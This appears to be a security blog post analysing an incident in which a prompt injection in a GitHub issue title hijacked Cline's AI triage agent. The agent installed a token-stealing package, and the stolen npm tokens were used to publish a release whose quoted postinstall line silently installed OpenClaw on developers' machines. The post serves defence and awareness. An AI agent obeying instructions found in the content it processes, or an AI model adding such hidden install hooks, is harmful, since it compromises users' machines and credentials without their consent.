On February 20, roughly 4,000 developers ran a routine ‘npm install’ command.
But later, many of them noticed something strange.
The OpenClaw software had quietly installed itself on their machines.
It registered itself as a system daemon.
It could receive remote commands.
But none of those developers had actually installed it.
They had never approved it.
Never evaluated it.
Many had never even heard of it.
So how did OpenClaw end up on thousands of machines?
The answer begins with something incredibly small:
A single GitHub issue ‘title’.
This real-world incident offers a glimpse into how AI-assisted development pipelines are quietly expanding the software supply-chain attack surface.
📝 Background / Context
To understand the attack, we need to look at the ecosystem around modern development tools.
One of the tools involved here is Cline, a popular Visual Studio Code extension that uses AI to help developers write and modify code.
Like many open-source projects, Cline receives a constant stream of GitHub issues: Bug reports, Feature requests, Documentation questions etc.
Manually triaging these issues can be time-consuming.
So the Cline team built a simple automation workflow:
When a new issue was created on GitHub, an AI agent would: Read the issue title and description > Classify the issue > Assign priority or labels
The goal was efficiency.
But one simple mistake crept into the design. Lets see what it is and how the attackers took advantage of it in the below steps.
🔥 Attack Flow — Step by Step
Let’s walk through the chain of events.
1. To manage the flood of incoming GitHub issues, the Cline team built a simple AI workflow: When a new issue was filed in GitHub, the AI would read its title, contents and sort them by priority.
2. But here’s the simple mistake they made: The GitHub issue ‘title’ was passed to the AI agent without any validation.
3. Attacker observes this and creates a Github issue with its title containing instructions designed to manipulate the AI (aka prompt injection) > AI bot triages the issue > Instead of simply reading the issue, the AI interprets the embedded instructions as part of its workflow.
4. Following the instructions, the AI installs a package that contains a “preinstall script”. (In the Node.js ecosystem, preinstall scripts run automatically before the package installation) > the script is designed to steal npm tokens used by CI/CD.
5. Next day, Cline’s daily release workflow runs on schedule > The script runs and steals npm tokens > Using this, the attacker publishes a new version of Cline!
6. The change is extremely subtle. Just one extra line added to package.json: “postinstall”: “npm install -g openclaw@latest” > Behind the scenes, the postinstall script installs OpenClaw > Within hours, around 4,000 developer machines are running software they never intended to install > More importantly using the OpenClaw tool, attacker can now run commands on those 4k systems.
💡 Key Insights
At its core, this is a software supply-chain attack. But the entry point wasn’t a compromised dependency or stolen credentials. It was a prompt injection targeting an AI workflow. As AI agents expand, attackers will discover ‘new doors’ to exploit old attacks (who imagined supply chain attacks would be launched using prompt injections!)
Until recently, many security discussions treated these kind of vectors as an academic curiosity. Interesting—but impractical. That phase is over. We are starting to see real world consequences and practical damage from the AI attack surface.
In many past supply-chain attacks, attackers deployed obvious malicious payloads (cryptominers, backdoors,. credential stealers). These can sometimes be flagged by security tools. But here, the payload was OpenClaw, a legitimate npm package. It was properly registered and widely used. The most effective attackers often use legit tools in malicious ways.
Another interesting detail: The npm publishing tokens used by the release pipeline were long-lived tokens. Once stolen, they remained valid indefinitely.
If the pipeline had used short-lived ephemeral tokens, the impact would have been far smaller. Even if stolen, they would have expired quickly. Many breaches are not caused by advanced exploits—but by missing basic security hygiene.
For enterprise security teams, the lesson is clear. AI agents can be manipulated. Any workflow that takes external user input and passes it to an AI agent without proper validation creates a potential attack path into your enterprise. You need to understand where all your AI agents are running, what inputs they process, what permissions they have, and assess the risk.
Back in Dec 2025, I’ve written about an incident that involved a very similar attack pattern. Check it out below if you’re interested to know more:
📌 Closing Thought
For years, we thought of attack surface in terms of endpoints, emails, software, build systems etc.
Now we have a new component in the chain:
AI agents.
They read external input.
They make decisions.
They trigger automated actions.
And if attackers can manipulate those agents…
they can manipulate the systems those agents control.
To counter this, you need to treat AI agents like any other privileged system component.
Validate every input they receive.
Constrain what actions they are allowed to take.
And always ask one question:
“If this AI were tricked, what damage could it cause?”
Thanks for reading this. What other attack paths do you think AI agent integrations could introduce?